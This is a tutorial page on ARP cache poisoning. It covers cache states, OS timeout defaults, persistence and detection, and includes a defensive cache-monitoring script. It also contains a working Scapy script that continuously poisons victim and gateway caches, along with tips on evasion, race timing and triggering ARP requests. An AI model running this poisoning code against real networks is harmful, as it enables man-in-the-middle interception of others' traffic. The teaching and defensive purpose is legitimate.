Loading content...
In the previous page, we explored ARP spoofing—the act of sending falsified ARP messages to associate an attacker's MAC address with a legitimate IP address. Now we delve deeper into ARP cache poisoning, the technique of persistently corrupting the ARP caches of victim devices to maintain long-term traffic interception.
While "ARP spoofing" and "ARP cache poisoning" are often used interchangeably, there's a subtle but important distinction:
This page focuses on the cache side of the equation: how caches work internally, how they're corrupted, how corruption is maintained over time, and the subtle technical details that separate amateur attacks from persistent compromise.
Understanding cache mechanics at this level is essential for both attackers (in penetration testing contexts) and defenders (who must understand what they're protecting against). The ARP cache is the battlefield—knowing its terrain determines victory.
By mastering this page, you will understand: (1) the internal structure and behavior of ARP caches across operating systems, (2) cache timeout mechanisms and their security implications, (3) techniques for achieving persistent cache poisoning, (4) race conditions and timing attacks, and (5) how defenders can monitor and protect cache integrity.
The ARP cache (also called the ARP table or neighbor cache) is a critical data structure maintained by every IP-capable device. It stores mappings between IP addresses and MAC addresses, eliminating the need to broadcast ARP requests for every outbound packet.
Why Caches Exist:
Without caching, every outbound packet would require:
This would be catastrophically inefficient. A busy server might send thousands of packets per second—each requiring broadcast overhead would saturate the network. ARP caching trades memory for performance, storing learned mappings for reuse.
Cache Entry States:
ARP cache entries transition through several states depending on their age, usage, and verification status:
| State | Description | Transition Trigger |
|---|---|---|
| INCOMPLETE | Resolution in progress, no reply received | ARP request sent, awaiting reply |
| REACHABLE | Recently confirmed valid mapping | ARP reply received or traffic observed |
| STALE | Entry aged out, needs revalidation | Timeout expired without traffic |
| DELAY | Awaiting confirmation from upper layer | Traffic sent using stale entry |
| PROBE | Actively verifying entry validity | Confirmation needed, unicast ARP sent |
| FAILED | Resolution failed after retries | No response to ARP requests |
| PERMANENT | Manually configured static entry | Administrator configuration |
Cache Entry Data Structure:
Each ARP cache entry contains several fields beyond the basic IP-to-MAC mapping:
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051
/** * Conceptual ARP Cache Entry Structure * Based on Linux kernel neighbor cache implementation * * The actual implementation is more complex, but this * captures the key security-relevant fields. */struct arp_cache_entry { /* Core Mapping */ uint32_t ip_address; /* IPv4 address */ uint8_t mac_address[6]; /* 48-bit MAC address */ /* State Management */ enum { NUD_INCOMPLETE, NUD_REACHABLE, NUD_STALE, NUD_DELAY, NUD_PROBE, NUD_FAILED, NUD_NOARP, NUD_PERMANENT } state; /* Timing Information */ unsigned long confirmed; /* Time of last confirmation */ unsigned long updated; /* Time of last update */ unsigned long used; /* Time of last use */ /* Reference Counting */ atomic_t refcnt; /* Usage count for memory management */ /* Network Interface */ struct net_device *dev; /* Interface this entry applies to */ /* Queue for pending packets */ struct sk_buff_head arp_queue; /* Packets waiting for resolution */ /* Flags */ uint32_t flags; /* NTF_ROUTER, NTF_PROXY, etc. */}; /* * Security Implications: * * 1. No authentication field - any device can claim any IP * 2. 'confirmed' based on traffic, not cryptographic proof * 3. State transitions triggered by untrusted input * 4. No origin tracking - can't verify who set the entry * 5. Permanent entries require admin access (defense opportunity) */Different operating systems implement ARP caching differently. Linux uses the neighbor cache subsystem (which also handles IPv6). Windows uses a separate ARP cache with different state transitions. BSD variants have their own implementations. These differences affect attack timing and persistence strategies.
Cache timeout behavior is critically important for both attack persistence and defense. Entries don't live forever—they expire and must be re-learned. Understanding these timeouts is essential for maintaining poisoned entries and for detecting attacks through timing anomalies.
Operating System Timeout Defaults:
| Operating System | Default Timeout | Configurable? | Notes |
|---|---|---|---|
| Windows 10/11 | 15-45 seconds (random) | Yes (Registry) | Randomization added for security |
| Windows Server 2019+ | 15-45 seconds (random) | Yes (netsh/Registry) | Enterprise may extend |
| Linux (default) | 30-60 seconds (REACHABLE) | Yes (sysctl) | gc_stale_time controls cleanup |
| macOS | 20 minutes (1200 sec) | Yes (sysctl) | Much longer cache lifetime |
| FreeBSD | 20 minutes (1200 sec) | Yes (sysctl) | Similar to macOS |
| Cisco IOS | 4 hours (14400 sec) | Yes (arp timeout) | Network equipment differs significantly |
| Juniper Junos | 20 minutes (1200 sec) | Yes (arp aging) | Per-interface configuration |
Why Timeouts Vary So Dramatically:
The 100x difference between Windows (30 seconds) and Cisco (4 hours) reflects different design philosophies:
Shorter Timeouts (Windows, Linux):
Longer Timeouts (macOS, Network Equipment):
Attack Implications:
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647
# ===========================================# Linux: View and Modify ARP Cache Timeouts# =========================================== # View current neighbor cache parametersip neighbor show # View all neighbor cache sysctl parameterssysctl -a | grep neigh # Key timeout parameters (values in seconds):# base_reachable_time_ms: Base time entry stays REACHABLE (jitter applied)# gc_stale_time: Time after which STALE entries are garbage collected# delay_first_probe_time: Wait before sending first probe after STALE # View current values for eth0cat /proc/sys/net/ipv4/neigh/eth0/base_reachable_time_mscat /proc/sys/net/ipv4/neigh/eth0/gc_stale_time # DEFENSE: Reduce timeout (faster recovery from poisoning)# Set reachable time to 15 seconds (15000 ms)echo 15000 > /proc/sys/net/ipv4/neigh/eth0/base_reachable_time_ms # Or using sysctl (persistent with /etc/sysctl.conf)sysctl -w net.ipv4.neigh.eth0.base_reachable_time_ms=15000 # For all interfaces:sysctl -w net.ipv4.neigh.default.base_reachable_time_ms=15000 # ===========================================# Linux: Clear ARP Cache# =========================================== # Flush entire ARP cacheip neigh flush all # Flush cache for specific interfaceip neigh flush dev eth0 # Remove specific entryip neigh del 192.168.1.1 dev eth0 # ===========================================# ATTACK IMPLICATION:# Shorter timeouts mean attacker must send# poisoning packets more frequently# ===========================================For high-security environments, consider reducing ARP timeouts on critical systems. This increases ARP traffic marginally but reduces the window of vulnerability during attacks. Combined with static ARP entries for critical infrastructure (gateways, DNS, DCs), this provides layered protection.
Successfully poisoning an ARP cache once is trivial. The challenge lies in maintaining that poisoned state over time, especially against systems with short cache timeouts and networks with active ARP traffic.
The Persistence Problem:
Cache poisoning faces several challenges:
Continuous Poisoning Strategy:
The most common approach is continuous packet injection:
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142
#!/usr/bin/env python3"""Persistent ARP Cache Poisoning - Conceptual ImplementationWARNING: Educational purposes only. Unauthorized use is illegal. This demonstrates the mechanics of maintaining poisoned ARP cachesover time, a key consideration for both attackers and defenders.""" from scapy.all import ARP, Ether, sendp, get_if_hwaddrimport timeimport threadingimport signalimport sys class PersistentARPPoison: """ Maintains persistent ARP cache poisoning through continuous packet injection. """ def __init__(self, interface: str, target_ip: str, gateway_ip: str): self.interface = interface self.target_ip = target_ip self.gateway_ip = gateway_ip self.attacker_mac = get_if_hwaddr(interface) self.running = False # Timing parameters (critical for stealth and effectiveness) self.poison_interval = 2.0 # Seconds between poison packets # Why 2 seconds? # - Faster than typical cache timeout (30s) # - Slow enough to avoid flooding detection # - Fast enough to win race conditions def build_poison_packet(self, target_ip: str, spoof_ip: str) -> Ether: """ Create ARP reply associating spoof_ip with attacker's MAC. """ target_mac = self._get_mac(target_ip) ether = Ether(dst=target_mac, src=self.attacker_mac) arp = ARP( op=2, # Reply hwsrc=self.attacker_mac, psrc=spoof_ip, hwdst=target_mac, pdst=target_ip ) return ether / arp def poison_loop(self): """ Main poisoning loop - runs continuously. Key insight: We must poison BOTH directions continuously: 1. Victim thinks gateway is at attacker MAC 2. Gateway thinks victim is at attacker MAC If either cache recovers, the attack fails. """ # Pre-build packets for efficiency victim_poison = self.build_poison_packet( self.target_ip, self.gateway_ip ) gateway_poison = self.build_poison_packet( self.gateway_ip, self.target_ip ) packet_count = 0 while self.running: # Send both poison packets sendp(victim_poison, iface=self.interface, verbose=False) sendp(gateway_poison, iface=self.interface, verbose=False) packet_count += 2 # Log progress (in real attack, would be silent) if packet_count % 100 == 0: print(f"[*] Sent {packet_count} poison packets") # Wait before next round time.sleep(self.poison_interval) def start(self): """Begin persistent poisoning.""" self.running = True self.thread = threading.Thread(target=self.poison_loop) self.thread.start() print(f"[*] Poisoning started: {self.target_ip} <-> {self.gateway_ip}") def stop(self): """Stop poisoning and restore caches.""" self.running = False self.thread.join() print("[*] Poisoning stopped") # IMPORTANT: Restore original ARP entries # Without this, network connectivity is broken self._restore_arp() def _restore_arp(self): """ Restore legitimate ARP entries. This is critical for: 1. Stealth (avoid post-attack connectivity issues) 2. Ethical testing (don't leave network broken) """ target_mac = self._get_mac(self.target_ip) gateway_mac = self._get_mac(self.gateway_ip) # Tell victim the real gateway MAC restore_victim = Ether(dst=target_mac) / ARP( op=2, hwsrc=gateway_mac, psrc=self.gateway_ip, hwdst=target_mac, pdst=self.target_ip ) # Tell gateway the real victim MAC restore_gateway = Ether(dst=gateway_mac) / ARP( op=2, hwsrc=target_mac, psrc=self.target_ip, hwdst=gateway_mac, pdst=self.gateway_ip ) # Send multiple times to ensure cache update for _ in range(5): sendp(restore_victim, iface=self.interface, verbose=False) sendp(restore_gateway, iface=self.interface, verbose=False) time.sleep(0.5) print("[*] Original ARP entries restored") def _get_mac(self, ip: str) -> str: """Get MAC address for IP via ARP.""" from scapy.all import srp ans = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip), timeout=2, verbose=False)[0] return ans[0][1].hwsrc if ans else None # Key takeaways for defenders:# 1. Attackers must send packets every few seconds# 2. Both directions must be poisoned simultaneously # 3. Network monitoring should detect this pattern# 4. Rate limiting ARP traffic can disrupt attacksAdvanced Persistence Techniques:
1. Adaptive Timing
Sophisticated attackers monitor the target environment and adapt their timing:
- Observe natural ARP traffic patterns
- Time poison packets to arrive just before cache expiry
- Back off when detecting security monitoring
- Increase rate when legitimate ARP traffic observed
2. Gratuitous ARP Flooding
Using gratuitous ARP instead of targeted replies:
3. Race Condition Exploitation
When a victim device sends a legitimate ARP request:
[Victim] ---- ARP Request (Who has 192.168.1.1?) ----> Broadcast
Race begins!
[Gateway] --- Legitimate Reply (after ~1-5ms) ------> [Victim]
[Attacker] -- Spoofed Reply (after ~0.5ms) ---------> [Victim]
Winner: Whoever's reply arrives first (or last, depending on OS)
Attackers on the same switch often win this race due to lower latency.
4. ARP Request Triggering
Advanced technique: cause the victim to send ARP requests:
1. Send ICMP ping to victim from spoofed source
2. Victim tries to reply and needs ARP for destination
3. Victim sends ARP request
4. Attacker responds before legitimate reply
5. Attacker controls when poisoning occurs
This allows precision timing instead of blind periodic poisoning.
Professional penetration testers always restore ARP tables after testing. Leaving poisoned caches in place causes network disruption and may be detectable long after the test concludes. The restore phase is as important as the attack phase.
Different operating systems handle ARP caches in subtly different ways. These differences affect attack success rates, persistence, and detection opportunities.
Linux ARP Cache Behavior:
Linux uses the neighbor cache subsystem defined in net/core/neighbour.c. Key characteristics:
State Machine:
Unsolicited ARP Acceptance:
arp_accept sysctl parametersysctl -w net.ipv4.conf.all.arp_accept=0Gratuitous ARP Handling:
arp_accept=1)Attack Surface:
Defense Options:
# Disable acceptance of unsolicited ARP
echo 0 > /proc/sys/net/ipv4/conf/all/arp_accept
# Enable ARP validation
echo 1 > /proc/sys/net/ipv4/conf/all/arp_validate
In heterogeneous networks, attackers must adapt their timing to the slowest-expiring cache. If Windows clients timeout at 30 seconds but the gateway keeps entries for 4 hours, poisoning the gateway once while continuously refreshing client caches is more efficient.
Defending against ARP cache poisoning requires active monitoring of cache contents and changes. This section covers practical techniques for detecting cache manipulation.
Baseline-Based Detection:
The most effective approach compares current cache state against a known-good baseline:
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198
#!/usr/bin/env python3"""ARP Cache Monitoring Tool - Defensive ImplementationDetects cache changes that may indicate poisoning attacks.""" import subprocessimport reimport timeimport jsonfrom datetime import datetimefrom pathlib import Pathfrom typing import Dict, Optionalimport logging # Configure logginglogging.basicConfig( level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')logger = logging.getLogger(__name__) class ARPCacheMonitor: """ Monitors ARP cache for suspicious changes. Detection strategies: 1. Baseline comparison - detect any changes to known entries 2. Gateway protection - alert on gateway MAC changes 3. Duplicate detection - same IP with different MACs 4. Rapid change detection - frequent cache updates """ def __init__(self, critical_ips: list = None, baseline_file: str = None): self.critical_ips = critical_ips or [] self.baseline_file = baseline_file or "arp_baseline.json" self.baseline = self._load_baseline() self.change_history = [] def get_current_cache(self) -> Dict[str, dict]: """ Retrieve current ARP cache from system. Returns dict: {ip: {'mac': mac, 'interface': iface}} """ cache = {} # Platform-specific command import platform if platform.system() == "Windows": output = subprocess.check_output(["arp", "-a"], text=True) # Parse Windows ARP output for line in output.split('\n'): match = re.search( r'(\d+\.\d+\.\d+\.\d+)\s+([0-9a-f-]+)\s+(\w+)', line, re.I ) if match: ip, mac, entry_type = match.groups() cache[ip] = { 'mac': mac.replace('-', ':').lower(), 'type': entry_type } else: output = subprocess.check_output(["ip", "neigh", "show"], text=True) # Parse Linux ip neigh output for line in output.split('\n'): parts = line.split() if len(parts) >= 4: ip = parts[0] mac = None for i, part in enumerate(parts): if part == 'lladdr' and i + 1 < len(parts): mac = parts[i + 1].lower() break if mac: cache[ip] = {'mac': mac, 'state': parts[-1]} return cache def save_baseline(self): """Save current cache as baseline for future comparison.""" current = self.get_current_cache() with open(self.baseline_file, 'w') as f: json.dump({ 'timestamp': datetime.now().isoformat(), 'entries': current }, f, indent=2) logger.info(f"Baseline saved: {len(current)} entries") self.baseline = current def _load_baseline(self) -> Dict[str, dict]: """Load baseline from file if exists.""" if Path(self.baseline_file).exists(): with open(self.baseline_file) as f: data = json.load(f) logger.info(f"Loaded baseline from {data['timestamp']}") return data['entries'] return {} def check_for_spoofing(self) -> list: """ Compare current cache against baseline. Returns list of detected anomalies. """ current = self.get_current_cache() anomalies = [] for ip, info in current.items(): # Check against baseline if ip in self.baseline: baseline_mac = self.baseline[ip]['mac'] current_mac = info['mac'] if baseline_mac != current_mac: anomaly = { 'type': 'MAC_CHANGE', 'ip': ip, 'baseline_mac': baseline_mac, 'current_mac': current_mac, 'timestamp': datetime.now().isoformat(), 'severity': 'CRITICAL' if ip in self.critical_ips else 'WARNING' } anomalies.append(anomaly) logger.warning( f"MAC CHANGED for {ip}: " f"{baseline_mac} -> {current_mac}" ) # Check for duplicate MACs (different IPs, same MAC) mac_to_ips = {} for ip, info in current.items(): mac = info['mac'] if mac not in mac_to_ips: mac_to_ips[mac] = [] mac_to_ips[mac].append(ip) for mac, ips in mac_to_ips.items(): if len(ips) > 1: # Multiple IPs with same MAC could be normal (virtual IPs) # or could indicate spoofing if any(ip in self.critical_ips for ip in ips): anomalies.append({ 'type': 'DUPLICATE_MAC', 'mac': mac, 'ips': ips, 'timestamp': datetime.now().isoformat(), 'severity': 'HIGH' }) return anomalies def continuous_monitor(self, interval: int = 5): """ Continuously monitor cache for changes. Suitable for running as a service. """ logger.info(f"Starting continuous monitoring (interval: {interval}s)") logger.info(f"Critical IPs: {self.critical_ips}") while True: anomalies = self.check_for_spoofing() for anomaly in anomalies: self.change_history.append(anomaly) # Take action based on severity if anomaly['severity'] == 'CRITICAL': self._alert_critical(anomaly) time.sleep(interval) def _alert_critical(self, anomaly: dict): """Handle critical security alerts.""" logger.critical(f"CRITICAL ARP ALERT: {json.dumps(anomaly, indent=2)}") # Integration points: # - Send to SIEM # - Trigger network isolation # - Alert SOC team # - Automatic remediation # Example usageif __name__ == "__main__": # Define critical infrastructure IPs critical = [ "192.168.1.1", # Gateway "192.168.1.2", # DNS Server "192.168.1.3", # Domain Controller ] monitor = ARPCacheMonitor(critical_ips=critical) # First run: save baseline if not Path("arp_baseline.json").exists(): print("Saving initial baseline...") monitor.save_baseline() # Start monitoring monitor.continuous_monitor(interval=5)Enterprise Monitoring Solutions:
For production environments, consider purpose-built tools:
1. arpwatch (Linux)
2. ArpON (ARP handler inspectiON)
3. XArp (Windows/Linux)
4. SIEM Integration
ARP cache poisoning is the persistent state achieved through successful ARP spoofing. Understanding cache mechanics—timeouts, state machines, OS variations, and persistence techniques—is essential for both attack simulation and defense.
Key Concepts:
What's Next:
With a solid understanding of ARP spoofing and cache poisoning, we now examine what attackers do once they're positioned in the middle. The next page covers Man-in-the-Middle (MITM) attacks—the exploitation techniques that transform ARP poisoning from a positioning mechanism into active compromise.
You now understand ARP cache mechanics in depth—from internal data structures through timing behaviors, persistence techniques, OS variations, and monitoring strategies. This foundation prepares you for understanding the exploitation techniques that follow.